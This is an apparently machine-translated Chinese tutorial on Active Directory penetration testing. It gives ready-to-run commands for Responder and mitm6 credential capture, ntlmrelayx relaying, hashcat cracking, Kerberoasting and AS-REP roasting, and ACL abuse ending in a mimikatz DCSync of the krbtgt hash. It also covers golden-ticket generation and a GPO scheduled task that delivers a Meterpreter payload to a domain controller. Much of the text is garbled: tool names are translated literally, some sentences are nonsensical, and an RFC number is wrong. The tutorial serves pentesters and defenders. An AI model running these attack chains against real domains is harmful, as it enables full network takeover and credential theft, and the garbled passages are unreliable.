
在进行渗透测试时,我们经常检测到域配置中的错误。 尽管这对于许多人而言似乎并不重要,但实际上,这种不准确之处可能会导致整个领域受到损害。
例如,根据一家公司的渗透测试的结果,我们得出的结论是,域中所有可用的计算机均不低于Windows10 / Windows Server2016,并且它们上具有所有最新的补丁程序。 定期扫描网络,机器很硬。 所有用户都坐在令牌中,不知道他们的“ 20个字符的密码”。 一切似乎都很好,但是尚未禁用IPv6。 域捕获方案如下所示:
mitm6-> ntlmrelay->通过委派进行攻击->收到本地管理员密码哈希->收到域管理员密码哈希。
不幸的是,诸如OSCP,GPEN或CEH之类的流行认证并未教授Active Directory渗透测试。
在本文中,我们将探讨渗透测试中使用的几种Active Directory攻击类型以及所使用的工具。 绝对不能将其视为所有攻击和工具的完整指南,其中确实有很多,并且很难写成一篇文章。
因此,为演示起见,我们在Kali Linux 2019上使用笔记本电脑,并在VMware上使用其上的虚拟主机。 想象一下,渗透测试的主要目标是获得域管理员权限,作为输入,我们可以通过以太网访问公司的公司网络。 要开始测试域,我们需要一个帐户。
取得帐号
在我看来,请考虑两种最常见的获取域帐户登录名和密码的方法:LLMNR / NBNS欺骗和对IPv6协议的攻击。
LLMNR / NBNS欺骗
关于这种攻击已经有很多说法。 最重要的是,如果DNS失败,客户端将发出多播LLMNR并广播NBT-NS广播请求以解析主机名。 任何网络用户都可以回答此类请求。
允许攻击的工具:
- 回应
- 投机
- Metasploit模块:辅助/欺骗/ llmnr / llmnr_response,辅助/欺骗/ nbns / nbns_response,
辅助/服务器/捕获/ smb,辅助/服务器/捕获/ http_ntlm
成功攻击后,我们可以获取用户密码的NetNTLM哈希。
Responder -I eth0 -wrf

由此产生的哈希值,我们可以调试或执行NTLM中继。
IPv6攻击
如果在公司网络中使用IPv6,我们可以响应DHCPv6请求,并将我们的IP地址设置为被攻击机器上的DNS服务器。 由于IPv6优先于IPv4,因此客户端DNS查询将发送到我们的地址。 在
此处阅读有关攻击的更多信息。
工具:
运行mitm6实用程序
mitm6 -i vmnet0
攻击完成后,带有我们的IPv6地址的新DNS服务器将出现在受攻击的工作站上。

被攻击的机器将尝试使用我们的机器进行身份验证。 使用
smbserver.py实用程序提升了SMB服务器的性能之后,我们可以获得用户密码的哈希值。
smbserver.py -smb2support SMB /root/SMB

捕获的哈希动作
下一步是对密码哈希执行加密攻击并以明文形式获取密码,或者执行NTLM中继。
密码暴力破解
很简单:使用密码哈希,hashcat
hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt
和布鲁斯。 可以获取密码,也可以不获取密码:)
Harvey用户密码已恢复-Pbvf2019NTLM中继
我们还可以执行NTLM中继。 确保未使用
SMB签名后,我们使用
ntlmrelayx.py实用程序并进行攻击。 同样,根据目标,我们选择所需的向量。 让我们考虑其中的一些。
通过SMB协议访问受攻击的计算机
用钥匙
i进行攻击。
ntlmrelayx.py -t 192.168.1.5 -l loot -i

成功攻击后,我们可以使用netcat连接到远程计算机。

域信息收集
在这种情况下,我们执行到域控制器的中继。
ntlmrelayx.py -t ldap://192.168.1.2
如果攻击成功,我们将获得有关域的详细信息:

将新计算机添加到域
默认情况下,每个用户都可以在域中最多创建10台计算机。 要创建计算机,您需要使用ldaps协议在域控制器上运行中继。 禁止通过未加密的ldap连接创建用户和计算机。 另外,如果通过SMB的连接被拦截,则无法创建帐户。
ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer

正如您在图中看到的,我们能够创建计算机RORYOTGS $。
当创建10台以上的计算机时,会出现以下形式的错误:

使用RORYOTGS $计算机的凭据,我们可以对域控制器执行合法请求。
域信息收集
因此,我们有一个域用户或计算机帐户。 要继续测试,我们需要收集可用信息以进行进一步的攻击计划。 考虑一些可以帮助我们确定最关键系统的搜索,计划和执行攻击的工具。
猎犬
几乎所有内部渗透测试中都使用的最重要的工具之一。 该项目正在积极开发中,并具有新功能。
猎犬收集的信息- 组-执行组成员资格收集
- LocalAdmin-执行本地管理员收集
- RDP-执行远程桌面用户收集
- DCOM-执行分布式COM用户集合
- GPOLocalGroup-使用组策略对象执行本地管理员收集
- 会话-执行会话收集
- ComputerOnly-执行本地管理,RDP,DCOM和会话收集
- LoggedOn-执行特权会话收集(需要目标系统上的管理员权限)
- 信任-执行域信任枚举
- ACL-执行ACL的收集
- 容器-执行容器的收集;
- DcOnly-仅使用LDAP执行收集。 包括组,信任,ACL,ObjectProps,容器和GPOLocalGroup
- 全部-执行除GPOLocalGroup和LoggedOn之外的所有收集方法
- 搜索林-搜索林中的所有域,而不仅仅是您当前的域
- 域-搜索特定域。 如果为null,则使用当前域(默认值:null)
- 隐形-执行隐形收集方法。 所有隐形选项均为单线程
- SkipGCDeconfliction-会话枚举期间跳过全局编录去冲突。 这样可以加快枚举速度,但会导致数据可能不正确
- ExcludeDc-从枚举中排除域控制器(避免使用Microsoft ATA标志)
- ComputerFile-指定一个文件以从中加载计算机名称/ IP
- OU-指定要枚举的OU
信息收集器是
SharpHound.exe (需要安装.NET v3.5)和用powershell编写的脚本
SharpHound.ps1 。 还有一个由第三方Python开发人员
Bloodhound-python编写的编译器。
作为数据库,使用
Neo4j ,它具有自己的语法,该语法使您可以执行自定义查询。 您可以在
此处阅读有关语法的更多信息。
开箱即用有12个请求- 查找所有域管理员
- 查找域管理员的最短路径
- 查找具有DCSync权限的主体
- 具有外部域组成员身份的用户
- 具有外国域组成员身份的组
- 映射域信任
- 不受约束的委派系统的最短路径
- 来自Kerberoastable用户的最短路径
- 可通过Kerberoastable用户访问域管理员的最短路径
- 自有校长的最短路径
- 拥有人到域管理员的最短路径
- 实现高价值目标的最短路径
开发人员还提供了
DBCreator.py脚本,该脚本允许您生成随机数据库以进行测试。

Neo4j具有REST API。 有多种实用程序可以连接到数据库并使用接收到的数据:
让我们考虑其中的一些。
赛狗
CypherDog是用powershell编写的BloodHound外壳。 包括27个cmdlet。
默认情况下,访问neo4j数据库需要身份验证。 您可以通过编辑neo4j.conf文件来禁用身份验证。 它需要取消注释
dbms.security.auth_enabled = false行。 但是不建议这样做,因为任何用户都可以通过127.0.0.1:7474(默认配置)连接到数据库。 您可以在
此处阅读有关neo4j的身份验证和授权的更多
信息。Gofetch
GoFetch使用在猎犬中创建的图形来计划和执行攻击。
攻击发起
.\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json
gt生成器
使用BloodHound数据的
gt-generator可以轻松创建黄金票证。 要接收黄金票,仅需要KRBTGT用户的用户名和密码哈希。
python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH>

威视
PowerView是
PowerSploit附带的Powershell框架。 以下是一些cmdlet的列表,这些cmdlet可以帮助您收集有关域的信息。
Adidnsdump
在Active Directory中使用集成DNS时,任何域用户都可以查询所有默认DNS记录。
使用的工具:
Adidnsdump。
域攻击
现在我们有了域信息,我们进入渗透测试的下一个阶段-直接进行攻击。 考虑4个潜在向量:
- 焙烧
- 通过ACL攻击
- Kerberos委派
- 滥用GPO权限
焙烧
这类攻击针对Kerberos协议。 有两种类型的攻击,例如Roasting:
喀伯鲁斯特
该攻击最初是由2014年
DerbyCon的timmedin用户演示的(
视频 )。 成功攻击后,我们将能够在脱机模式下整理服务超声波的密码,而不必担心阻止用户。 服务帐户经常具有过多的权限和永久密码,这可能使我们可以获得域管理员权限。
要了解攻击的本质,请考虑Kerberos如何工作。

1.将密码转换为NTLM哈希,使用哈希对时间戳进行加密,然后将其作为TGT票证请求(AS-REQ)中的身份验证器发送给KDC。 域控制器(KDC)检查用户信息并创建TGT票证。
2. TGT票证已加密,签名并发送给用户(AS-REP)。 仅Kerberos服务(KRBTGT)可以打开和读取TGT票证中的数据。
3.用户应TGS票证(TGS-REQ)的请求将TGT票证提交到域控制器。 域控制器打开TGT票证并检查PAC校验和。
4.使用服务帐户密码的NTLM哈希加密TGS票证,并将其发送给用户(TGS-REP)。
5.用户向运行服务的计算机(AP-REQ)提供TGS票证。 该服务使用其NTLM哈希值打开TGS票证。
6.提供对服务的访问(AS-REP)。
收到TGS门票(TGS-REP)后,我们可以离线找到服务帐户的密码。 例如,使用hashcat。
根据
RFC396 ,为Kerberos协议保留20种加密类型。 现在按照优先级使用的加密类型:
- AES256_CTS_HMAC_SHA1
- AES128_CTS_HMAC_SHA1
- RC4_HMAC_MD5
在Windows的最新版本中,默认情况下使用AES加密。 但是,为了与Windows Vista和Windows 2008 Server以下的系统兼容,需要支持RC4算法。 进行攻击时,总是首先尝试获取具有RC4_HMAC_MD5加密的TGS票证,这样可以使用更快的密码,然后再进行其他操作。
Harmj0y进行了一项有趣的
研究 ,发现如果用户属性指定加密仅支持Kerberos AES128和AES256,则仍会使用RC4_HMAC_MD5加密来发行Kerberos票证。

在
域级别必须禁用RC4_HMAC_MD5
。角er攻击有两种方法。
1.旧方法。 TGS票证通过Powershell类的setpn.exe或.NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求,使用mimikatz从内存中检索,然后转换为所需的格式(John,Hashcat)并进行排序。
2.新方法。
machosec注意到
KerberosRequestorSecurityToken类具有
GetRequest方法,该方法从TGS票证中提取带有密码的加密部分。
进行攻击的工具:
1)搜索SPN记录
2)索取TGS门票
您可以使用klist命令查看当前缓存的票证。
常用SPN记录- TERMSRV-远程桌面
- SmtpSVC和SMTP-邮件
- WSMAN-WinRM
- ExchangeAB,ExchangeRFR,ExchangeMDM-MS Exchange
- POP / POP3-POP3邮政服务
- IMAP / IMAP4-IMAP电子邮件服务
- MSSQLSvc-Microsoft SQL Server
- MONGO-MongoDB数据库服务器
- DNS-DNS服务器
- HTTP,WWW-Web服务器
- LDAP-LDAP
- FTP-FTP服务器
3)出口车票:
自动执行所有3点的示例:
- RiskiskSPN
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt
- Powersploit
Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl
- GetUserSPNs.py
GetUserSPNs.py -request jet.lab\user:Password
阿斯普鲁司特
该漏洞是禁用了Kerberos预身份验证。 在这种情况下,我们可以向禁用了Kerberos预身份验证的用户发送AS-REQ请求,并使用密码获取加密的部分。

该漏洞很少见,因为禁用预身份验证不是默认设置。
搜索禁用了Kerberos身份验证的用户:
- 威视
Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose
- 活动目录模块
get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
获取加密部分:
通过ACL攻击
域上下文中的ACL是一组规则,用于定义AD中对象的访问权限。 可以为单个对象(例如,用户帐户)或组织单位(例如,OU)配置ACL。 在OU上配置ACL时,OU中的所有对象都将继承ACL。 ACL包含确定SID如何与Active Directory对象交互的访问控制项(ACE)。
例如,我们有三个组:A,B,C,其中组C是组B的成员,组B是组A的成员。将访客添加到组C时,访客不仅将是组C的成员,而且还将是组C的成员。 B组和A组的间接成员。将对域对象的访问权限添加到A组时,来宾用户也将有权访问此对象。 在用户仅是一个组的直接成员而该组是其他50个组的间接成员的情况下,很容易失去继承权限的连接。
您可以通过运行以下命令来检索与对象关联的ACL。
Get-ObjectACL -Samaccountname Guest -ResolveGUIDs
您可以使用该工具来利用ACL配置中的错误。
调用ACLPwn 。 Powershell脚本使用BloodHound收集器SharpHound收集有关域中所有ACL的信息,并构建一条链以获得writeDACL权限。 构建链后,脚本将操作链的每个步骤。 脚本的顺序:
- 用户被添加到必要的组。
- 将两个ACE(复制目录更改和复制目录更改全部)添加到域对象的ACL中。
- 如果您具有使用Mimikatz实用程序进行DCSync的权限,则请求用户krbtgt的密码哈希(默认设置)。
- 操作完成后,脚本将删除ACL中所有已添加的组和ACE条目。
该脚本仅针对使用writeDACL权限。 攻击者可能还对以下访问权限感兴趣:
- ForceChangePassword。 未知当前密码时有权更改用户密码。 使用PowerSploit进行操作-Set-DomainUserPassword。
- AddMembers。 将组,计算机和用户添加到组的权限。 使用PowerSploit进行操作-Add-DomainGroupMember。
- 通用写入 更改对象属性的权限。 例如,更改scriptPath参数的值。 用户下次登录系统时,指定的文件将启动。 使用PowerSploit进行操作-Set-DomainObject。
- WriteOwner。 更改对象所有者的权利。 使用PowerSploit进行操作-Set-DomainObjectOwner。
- AllExtendedRights。 有权将用户添加到组,更改用户密码等。使用PowerSploit进行操作-Set-DomainUserPassword或Add-DomainGroupMember。
操作方式:
从域中的机器开始
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
从不在域中的机器开始
/Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass'
Kerberos委派
Kerberos授权授权使您可以重用最终用户凭据来访问另一台服务器上托管的资源。
Kerberos委托可以是三种类型:
- 无限(无限制委派)。 Windows Server 2003之前的唯一委派选项
- 自Windows Server 2003以来受约束的委派
- 基于资源的约束委派 Windows Server 2012中引入
无限委托
在Active Directory管理单元中,启用的无限制委派功能如下:

为了清楚起见,请考虑如何在图上进行无限委派。

- 用户密码将转换为ntlm哈希。 时间戳使用此哈希进行加密,然后发送到域控制器以请求TGT票证。
- 域控制器检查有关用户的信息(登录限制,组成员身份等),创建TGT票证并将其发送给用户。 TGT票证已加密,签名,并且只有krbtgt可以读取其数据。
- 用户请求TGS票证来访问Web服务器上的Web服务。
- 域控制器提供了TGS票证。
- 用户将TGT和TGS票证发送到Web服务器。
- Web服务器服务帐户使用用户的TGT票证来请求TGS票证来访问数据库服务器。
- 该服务帐户以用户身份连接到数据库服务器。
无限委派的主要危险是,当一台具有无限委派的计算机受到威胁时,攻击者将能够从该计算机获取用户的TGT票证,并代表这些用户访问域中的任何系统。
在无限制委派的域中搜索机器:
门票出口:

代表团有限
受限委派模式允许您仅在特定计算机上访问允许的服务。 在Active Directory管理单元中,如下所示:

在有限的委派下,使用了2个Kerberos协议扩展:
当客户端未使用Kerberos协议进行身份验证时,将使用
S4U2Self 。
对于无限制委派,TGT用于标识用户,在这种情况下,S4U扩展使用
PA-FOR-USER结构作为padata / pre-authentication数据字段中的新类型。 仅当发出请求的用户的userAccountControl中设置了TRUSTED_TO_AUTH_FOR_DELEGATION字段时,才允许S4U2self进程。
S4U2Proxy允许服务帐户使用在S4U2proxy进程中接收的重定向票证来请求TGS票证以访问允许的服务(msds-allowtodelegateto)。 KDC检查在请求用户的msds-allowtodelegateto字段中是否指定了所请求的服务,如果检查成功,则发出票证。 因此,委派“限于”特定的目标服务。
您可以使用PowerView在受限的委派域中搜索计算机和用户。搜索无限制委派的计算机 Get-DomainComputer -TrustedtoAuth
搜索有限的委派用户 Get-DomainUser -TrustedtoAuth
要进行攻击,我们需要一个开放密码,一个NTLM密码哈希或TGT票证。
基于资源的有限委派
与常规委派一样,使用S4U扩展。由于基于资源的委派主要是受限委派,因此在此处也可以使用与常规受限委派有关的攻击。唯一的区别是,在简单的受限委派中,服务A应该具有msDS-AllowedToDelegateTo = ServiceB属性,这里服务B应该具有msDS-AllowedToActOnBehalfOfOtherIdentity = Service A 属性
该属性允许由harmj0y发布的另一种攻击。攻击需要获得权限以修改PrincipalsAllowedToDelegateToAccount参数,该参数设置msds-AllowedToActOnBehalfOfOtherIdentity属性,该属性包含访问控制列表(ACL)。与有限的委派不同,我们不需要域管理员权限来更改msds-AllowedToActOnBehalfOfOtherIdentity属性。您可以找出谁有权编辑该属性,如下所示: (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview
因此,要执行攻击,请执行mitm6 mitm6 -I vmnet0
我们以--delegate-access选项启动ntlmrelayx ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access
攻击的结果是,创建了ZGXTPVYX $计算机,该计算机具有对Windows7计算机的委派权限。 $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
Yegor Podmokov在PHDays上发表了一份不错的代表团报告。
滥用GPO权限
组策略对象是允许管理员有效管理域的工具。但是碰巧的是,为用户分配了不必要的权限,包括更改GPO策略。为了演示该示例,我们将为Ragnar用户添加编辑默认域控制器策略的权限(实际上,该策略的权限仅授予域管理员,但攻击的本质不会改变;对于其他策略,只有受控主机会更改)。
使用PowerView枚举域中所有GPO的权限。 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Ragnar用户有权更改GUID为6AC1786C-016F-11D2-945F-00C04FB984F9的GPO。要确定域中的哪些主机应用此策略,请运行以下命令 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}
获得主机dc1.jet.lab。知道Ragnar用户可以编辑的特定策略以及该策略适用的主机,我们可以在dc1.jet.lab主机上执行各种操作。通过New-GPOImmediateTask和SharpGPOAbuse工具,您可以:- 在任务计划程序中运行任务
- 添加用户权限(SeDebugPrivilege,SeTakeOwnershipPrivilege等)
- 添加启动后运行的脚本
- 将用户添加到本地组
例如,在任务计划程序中添加任务以获取Meterpreter会话: New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force
执行后,计划任务显示为test,
并且出现Meterpreter会话
要删除计划任务,需要运行以下命令: New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
结论
在本文中,我们仅研究了一些攻击媒介。对Exchange的攻击(如Ruler,PrivExchange,ExchangeRelayX)之类的视图,例如枚举帐户和密码spray,MS14-068,大量打印机错误和不受约束的委托等,可以极大地扩大攻击范围。攻击技术和固定方法(金票,银票,哈希传递,越过哈希,SID历史记录,DC阴影等)一直在变化,并且防御团队应始终为新型攻击做好准备。